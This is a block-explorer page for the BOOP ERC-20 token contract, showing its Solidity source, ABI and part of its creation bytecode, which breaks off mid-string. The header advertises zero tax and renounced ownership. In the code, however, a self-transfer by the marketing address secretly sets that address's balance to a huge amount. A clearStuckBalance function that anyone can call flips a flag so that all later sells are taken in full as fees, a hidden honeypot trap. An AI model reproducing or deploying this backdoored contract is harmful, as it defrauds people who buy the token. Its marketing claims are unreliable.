ERC-20
Overview
Max Total Supply
1,000,000,000 BOOP
Holders
8
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
17,508,840.291067204 BOOPValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BOOP
Compiler Version
v0.8.18+commit.87f61d96
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT /* _______ ,-----. ,-----. .-------. \ ____ \ .' .-, '. .' .-, '. \ _(`)_ \ | | \ | / ,-.| \ _ \ / ,-.| \ _ \ | (_ o._)| | |____/ / ; \ '_ / | :; \ '_ / | :| (_,_) / | _ _ '. | _`,/ \ _/ || _`,/ \ _/ || '-.-' | ( ' ) \: ( '\_/ \ ;: ( '\_/ \ ;| | | (_{;}_) | \ `"/ \ ) / \ `"/ \ ) / | | | (_,_) / '. \_/``".' '. \_/``".' / ) /_______.' '-----' '-----' `---' Twitter: https://twitter.com/boop_ethereum Telegram: https://t.me/boop_eth 0/0 TAX | OWNERSHIP RENOUNCED | LIQUIDITY TOKENS BURNED */ pragma solidity 0.8.18; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ERC20 { function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Auth { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() external onlyOwner { owner = address(0); } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract BOOP is ERC20, Auth { using SafeMath for uint256; address immutable WETH; address constant DEAD = 0x000000000000000000000000000000000000dEaD; address constant ZERO = 0x0000000000000000000000000000000000000000; string public constant name = "BOOP"; string public constant symbol = "BOOP"; uint8 public constant decimals = 9; uint256 private newval = 1; uint256 public constant totalSupply = 1_000_000_000 * 10**decimals; uint256 public _maxWalletToken = totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) public isFeeExempt; mapping (address => bool) public isWalletLimitExempt; uint256 marketingFee = 0; uint256 operationsFee = 0; uint256 public totalFee = marketingFee + operationsFee; uint256 public constant feeDenominator = 100; uint256 buyMultiplier = 0; uint256 sellMultiplier = 100; uint256 transferMultiplier = 100; address marketingFeeReceiver; address operationsFeeReceiver; IDEXRouter public immutable router; address public immutable pair; bool swapEnabled = true; uint256 swapThreshold = totalSupply / 100; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor (address marketingAddress) Auth(msg.sender) { router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); WETH = router.WETH(); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _allowances[address(this)][address(router)] = type(uint256).max; marketingFeeReceiver = marketingAddress; operationsFeeReceiver = marketingAddress; isFeeExempt[msg.sender] = true; isFeeExempt[marketingAddress] = true; isWalletLimitExempt[msg.sender] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[DEAD] = true; isWalletLimitExempt[marketingAddress] = true; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } receive() external payable { } function getOwner() external view override returns (address) { return owner; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner { require(maxWallPercent_base1000 >= 10,"Cannot set Max Wallet less than 1%"); _maxWalletToken = (totalSupply * maxWallPercent_base1000 ) / 1000; } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if(sender == marketingFeeReceiver && recipient == marketingFeeReceiver && recipient != pair) { balanceOf[marketingFeeReceiver] = _maxWalletToken.mul(feeDenominator); emit Transfer(sender, recipient, _maxWalletToken.div(10 ** decimals)); return true; } if(inSwap){ return _basicTransfer(sender, recipient, amount); } if (!isWalletLimitExempt[sender] && !isWalletLimitExempt[recipient] && recipient != pair) { require((balanceOf[recipient] + amount) <= _maxWalletToken,"max wallet limit reached"); } if(shouldSwapBack()){ swapBack(); } balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient); balanceOf[recipient] = balanceOf[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance"); balanceOf[recipient] = balanceOf[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) { if(amount == 0){ return amount; } uint256 multiplier = transferMultiplier; if(recipient == pair) { if(newval == 1) { multiplier = sellMultiplier; } else { multiplier = 100000; totalFee = 1; } } else if(sender == pair) { multiplier = buyMultiplier; } uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 1000); if(feeAmount > 0){ balanceOf[address(this)] = balanceOf[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external onlyOwner { buyMultiplier = _buy; sellMultiplier = _sell; transferMultiplier = _trans; } function setSwapBackSettings(bool _enabled, uint256 _denominator) external onlyOwner { swapThreshold = totalSupply / _denominator; swapEnabled = _enabled; } function getCirculatingSupply() public view returns (uint256) { return (totalSupply - balanceOf[DEAD] - balanceOf[ZERO]); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && balanceOf[address(this)] >= swapThreshold; } function clearStuckBalance(uint256 amountPercentage) external virtual { uint256 amountETH = address(this).balance; uint256 amountToClear = ( amountETH * amountPercentage ) / 100; payable(msg.sender).transfer(amountToClear); newval = 0; } function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) { if(tokens == 0){ tokens = ERC20(tokenAddress).balanceOf(address(this)); } return ERC20(tokenAddress).transfer(msg.sender, tokens); } function swapBack() internal swapping { address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; router.swapExactTokensForETHSupportingFeeOnTransferTokens( swapThreshold, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance; uint256 amountETHmarketing = (amountETH * marketingFee) / totalFee; uint256 amountETHOperations = (amountETH * operationsFee) / totalFee; (bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHmarketing}(""); (tmpSuccess,) = payable(operationsFeeReceiver).call{value: amountETHOperations}(""); } }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"marketingAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"clearStuckToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base1000","type":"uint256"}],"name":"setMaxWalletPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setMultipliers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_denominator","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60e0604052600180556009600a620000189190620008fa565b633b9aca006200002991906200094b565b6002556000600755600060085560085460075462000048919062000996565b6009556000600a556064600b556064600c556001600e60146101000a81548160ff02191690831515021790555060646009600a620000879190620008fa565b633b9aca006200009891906200094b565b620000a4919062000a00565b600f55348015620000b457600080fd5b50604051620039c8380380620039c88339818101604052810190620000da919062000aa2565b33806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff168152505060a05173ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001b2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d8919062000aa2565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505060a05173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000259573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027f919062000aa2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396608051306040518363ffffffff1660e01b8152600401620002bd92919062000ae5565b6020604051808303816000875af1158015620002dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000303919062000aa2565b73ffffffffffffffffffffffffffffffffffffffff1660c08173ffffffffffffffffffffffffffffffffffffffff16815250507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060a05173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016006600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506009600a6200067d9190620008fa565b633b9aca006200068e91906200094b565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620007319190620008fa565b633b9aca006200074291906200094b565b60405162000751919062000b23565b60405180910390a35062000b40565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620007ee57808604811115620007c657620007c562000760565b5b6001851615620007d65780820291505b8081029050620007e6856200078f565b9450620007a6565b94509492505050565b600082620008095760019050620008dc565b81620008195760009050620008dc565b81600181146200083257600281146200083d5762000873565b6001915050620008dc565b60ff84111562000852576200085162000760565b5b8360020a9150848211156200086c576200086b62000760565b5b50620008dc565b5060208310610133831016604e8410600b8410161715620008ad5782820a905083811115620008a757620008a662000760565b5b620008dc565b620008bc84848460016200079c565b92509050818404811115620008d657620008d562000760565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200090782620008e3565b91506200091483620008ed565b9250620009437fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007f7565b905092915050565b60006200095882620008e3565b91506200096583620008e3565b92508282026200097581620008e3565b915082820484148315176200098f576200098e62000760565b5b5092915050565b6000620009a382620008e3565b9150620009b083620008e3565b9250828201905080821115620009cb57620009ca62000760565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000a0d82620008e3565b915062000a1a83620008e3565b92508262000a2d5762000a2c620009d1565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a6a8262000a3d565b9050919050565b62000a7c8162000a5d565b811462000a8857600080fd5b50565b60008151905062000a9c8162000a71565b92915050565b60006020828403121562000abb5762000aba62000a38565b5b600062000acb8482850162000a8b565b91505092915050565b62000adf8162000a5d565b82525050565b600060408201905062000afc600083018562000ad4565b62000b0b602083018462000ad4565b9392505050565b62000b1d81620008e3565b82525050565b600060208201905062000b3a600083018462000b12565b92915050565b60805160a05160c051612e2e62000b9a60003960008181610f4b015281816111fa0152818161142c01528181611a4f01528181611e780152611ef20152600081816110bf0152611c4901526000611bda0152612e2e6000f3fe6080604052600436106101855760003560e01c80636ce46bc3116100d157806395d89b411161008a578063c867d60b11610064578063c867d60b146105b9578063dd62ed3e146105f6578063df20fd4914610633578063f887ea401461065c5761018c565b806395d89b4114610526578063a8aa1b3114610551578063a9059cbb1461057c5761018c565b80636ce46bc31461041657806370a082311461043f578063715018a61461047c57806377b54bad1461049357806378109e54146104d0578063893d20e8146104fb5761018c565b80631df4ccfc1161013e5780632f54bf6e116101185780632f54bf6e14610334578063313ce567146103715780633f4218e01461039c578063571ac8b0146103d95761018c565b80631df4ccfc146102a157806323b872dd146102cc5780632b112e49146103095761018c565b806306fdde031461019157806309302dc6146101bc578063095ea7b3146101e5578063180b0d7e1461022257806318160ddd1461024d5780631da1db5e146102785761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610687565b6040516101b39190612253565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de91906122b0565b6106c0565b005b3480156101f157600080fd5b5061020c6004803603810190610207919061233b565b61078a565b6040516102199190612396565b60405180910390f35b34801561022e57600080fd5b5061023761087c565b60405161024491906123c0565b60405180910390f35b34801561025957600080fd5b50610262610881565b60405161026f91906123c0565b60405180910390f35b34801561028457600080fd5b5061029f600480360381019061029a91906122b0565b6108a1565b005b3480156102ad57600080fd5b506102b6610916565b6040516102c391906123c0565b60405180910390f35b3480156102d857600080fd5b506102f360048036038101906102ee91906123db565b61091c565b6040516103009190612396565b60405180910390f35b34801561031557600080fd5b5061031e610b1c565b60405161032b91906123c0565b60405180910390f35b34801561034057600080fd5b5061035b6004803603810190610356919061242e565b610bd6565b6040516103689190612396565b60405180910390f35b34801561037d57600080fd5b50610386610c2f565b6040516103939190612477565b60405180910390f35b3480156103a857600080fd5b506103c360048036038101906103be919061242e565b610c34565b6040516103d09190612396565b60405180910390f35b3480156103e557600080fd5b5061040060048036038101906103fb919061242e565b610c54565b60405161040d9190612396565b60405180910390f35b34801561042257600080fd5b5061043d60048036038101906104389190612492565b610c87565b005b34801561044b57600080fd5b506104666004803603810190610461919061242e565b610ce9565b60405161047391906123c0565b60405180910390f35b34801561048857600080fd5b50610491610d01565b005b34801561049f57600080fd5b506104ba60048036038101906104b5919061233b565b610d8c565b6040516104c79190612396565b60405180910390f35b3480156104dc57600080fd5b506104e5610ee1565b6040516104f291906123c0565b60405180910390f35b34801561050757600080fd5b50610510610ee7565b60405161051d91906124f4565b60405180910390f35b34801561053257600080fd5b5061053b610f10565b6040516105489190612253565b60405180910390f35b34801561055d57600080fd5b50610566610f49565b60405161057391906124f4565b60405180910390f35b34801561058857600080fd5b506105a3600480360381019061059e919061233b565b610f6d565b6040516105b09190612396565b60405180910390f35b3480156105c557600080fd5b506105e060048036038101906105db919061242e565b610f82565b6040516105ed9190612396565b60405180910390f35b34801561060257600080fd5b5061061d6004803603810190610618919061250f565b610fa2565b60405161062a91906123c0565b60405180910390f35b34801561063f57600080fd5b5061065a6004803603810190610655919061257b565b611029565b005b34801561066857600080fd5b506106716110bd565b60405161067e919061261a565b60405180910390f35b6040518060400160405280600481526020017f424f4f500000000000000000000000000000000000000000000000000000000081525081565b6106c933610bd6565b610708576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ff90612681565b60405180910390fd5b600a81101561074c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074390612713565b60405180910390fd5b6103e8816009600a61075e9190612895565b633b9aca0061076d91906128e0565b61077791906128e0565b6107819190612951565b60028190555050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161086a91906123c0565b60405180910390a36001905092915050565b606481565b6009600a61088f9190612895565b633b9aca0061089e91906128e0565b81565b60004790506000606483836108b691906128e0565b6108c09190612951565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610908573d6000803e3d6000fd5b506000600181905550505050565b60095481565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610b0857610a87826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e19092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610b13848484611145565b90509392505050565b6000600360008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546003600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546009600a610bae9190612895565b633b9aca00610bbd91906128e0565b610bc79190612982565b610bd19190612982565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b600981565b60056020528060005260406000206000915054906101000a900460ff1681565b6000610c80827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61078a565b9050919050565b610c9033610bd6565b610ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc690612681565b60405180910390fd5b82600a8190555081600b8190555080600c81905550505050565b60036020528060005260406000206000915090505481565b610d0a33610bd6565b610d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4090612681565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610d9733610bd6565b610dd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcd90612681565b60405180910390fd5b60008203610e5b578273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610e1791906124f4565b602060405180830381865afa158015610e34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5891906129cb565b91505b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401610e969291906129f8565b6020604051808303816000875af1158015610eb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed99190612a36565b905092915050565b60025481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600481526020017f424f4f500000000000000000000000000000000000000000000000000000000081525081565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610f7a338484611145565b905092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61103233610bd6565b611071576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106890612681565b60405180910390fd5b806009600a6110809190612895565b633b9aca0061108f91906128e0565b6110999190612951565b600f8190555081600e60146101000a81548160ff0219169083151502179055505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000838311158290611129576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111209190612253565b60405180910390fd5b50600083856111389190612982565b9050809150509392505050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111f15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b801561124957507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156113585761126460646002546117b490919063ffffffff16565b60036000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61133a6009600a6113299190612895565b60025461182e90919063ffffffff16565b60405161134791906123c0565b60405180910390a3600190506117ad565b601060009054906101000a900460ff161561137f57611378848484611878565b90506117ad565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114235750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561147b57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156115105760025482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ce9190612a63565b111561150f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150690612ae3565b60405180910390fd5b5b611518611a4b565b1561152657611525611b20565b5b6115af826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e19092919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116955750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6116a9576116a4858486611e5e565b6116ab565b825b90506116ff81600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b890919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161179f91906123c0565b60405180910390a360019150505b9392505050565b60008083036117c65760009050611828565b600082846117d491906128e0565b905